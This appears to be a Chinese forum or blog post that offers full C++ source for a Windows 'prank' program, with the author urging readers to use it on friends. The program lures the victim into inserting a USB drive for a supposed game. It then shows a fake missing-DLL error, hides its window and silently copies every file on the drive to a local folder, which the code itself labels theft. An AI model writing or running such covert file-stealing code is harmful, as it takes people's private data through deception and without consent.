咳咳,因为学业的原因,导致我太久没有发程序了(实际上是懒得发+一周回来一次)
对了,澄清一下,我制作的恶搞程序,请不要应用于非法用途,这些程序仅供编程爱好者研究用途
接下来进入正题:
一个程序(c++ 5.18):
运行流程: 1.提醒对方插入U盘 - 2.提出随机错误信息(只有五条...) --3.隐藏程序 --4.激活,
#include <bits/stdc++.h>
#include <windows.h> //操作系统的头文件
#include <stdio.h>
using namespace std;
void HideWindow() {//隐藏控制台
HWND hwnd = GetForegroundWindow();
if (hwnd) {
ShowWindow(hwnd, SW_HIDE);
}
}
void ShowWindow() {//显示控制台 当然这个程序不用...
HWND hwnd = GetForegroundWindow();
if (hwnd) {
ShowWindow(hwnd, SW_SHOW);
}
}
//查找某一个盘符中我们需要的文件
void FindFile(char filename[])
{
//filename: "F:" --> "F:\\*.*"
char pathstr[300] = { 0 };
sprintf(pathstr, "%s\\*.*", filename); //通配符 *.mp3 *mp4 *avi *rmvb *.wma
WIN32_FIND_DATA findata; //文件结构 文件的属性
HANDLE hfile = FindFirstFile(pathstr, &findata);
char tempstr[300] = { 0 };
while (1) //DWORD
{
//如果找到的文件是文件夹
if (findata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
if (findata.cFileName[0] != '.')
{
sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
FindFile(tempstr);
}
}
else //文件
{
//findata.cFileName 文件名 ---> 全路径
sprintf(tempstr, "%s\\%s", filename, findata.cFileName);
//printf("%s\n", tempstr);
//创建一个自己的路径
char mypath[300] = { 0 };
CreateDirectory("D:\\U盘", NULL);
sprintf(mypath, "D:\\U盘\\%s", findata.cFileName);
CopyFile(tempstr, mypath, TRUE); //TRUE跳过 FALSE替换
//DeleteFile(tempstr);
}
int ret = FindNextFile(hfile, &findata); //查找下一个文件
if (ret == 0)break; //后面没有了 找到了最后一个
}
}
int main()
{
cout<<"请插入U盘开始游戏!"<<endl;
//自动检测U盘的拔插
bool kg=false;
unsigned long allDisk; //定义一个变量 4B 32bit
char str[5] = { 0 };
while (1)
{
allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动
for (int i = 0; i < 26; i++) //假设最多26个盘符
{
if ((allDisk & 1) == 1) //最低位的那个盘符是存在
{
sprintf(str, "%c:", 'A' + i); //输出到字符串
if (GetDriveType(str) == DRIVE_REMOVABLE)break;
}
allDisk = allDisk >> 1;
}
if (GetDriveType(str) == DRIVE_REMOVABLE)break;
}
kg=true;
cout<<"已经检测到U盘,正在读取游戏,请稍等片刻..."<<endl; //输出错误信息
srand(time(0));
int sj=1 + (int)5 * rand() / (RAND_MAX + 1);
if(sj==1)MessageBox(NULL,"由于找不到MSVCR120D.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
if(sj==2)MessageBox(NULL,"由于找不到sqlite3.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
if(sj==3)MessageBox(NULL,"由于找不到Qt5WebEngineWidgetsd.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
if(sj==4)MessageBox(NULL,"由于找不到librdi_common.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
if(sj==5)MessageBox(NULL,"由于找不到MSVCR120D.dll,无法继续执行代码。重新安装程序可能会解决此问题。","游戏.exe-系统错误",MB_ICONERROR);
HideWindow();//隐藏U盘
allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动
for (int i = 0; i < 26; i++) //假设最多26个盘符
{
if ((allDisk & 1) == 1) //最低位的那个盘符是存在
{
sprintf(str, "%c:", 'A' + i); //输出到字符串
if (GetDriveType(str) == DRIVE_REMOVABLE)break;
}
allDisk = allDisk >> 1;
}
if (GetDriveType(str) != DRIVE_REMOVABLE)kg=false;
if(kg)FindFile(str);//如果U盘已经插入执行窃取代码
return 0;
}
小心,不要让他(她)知道,不然...(一次免费暴打)
咳咳,可以去坑你的朋友了(加油,小心被打...)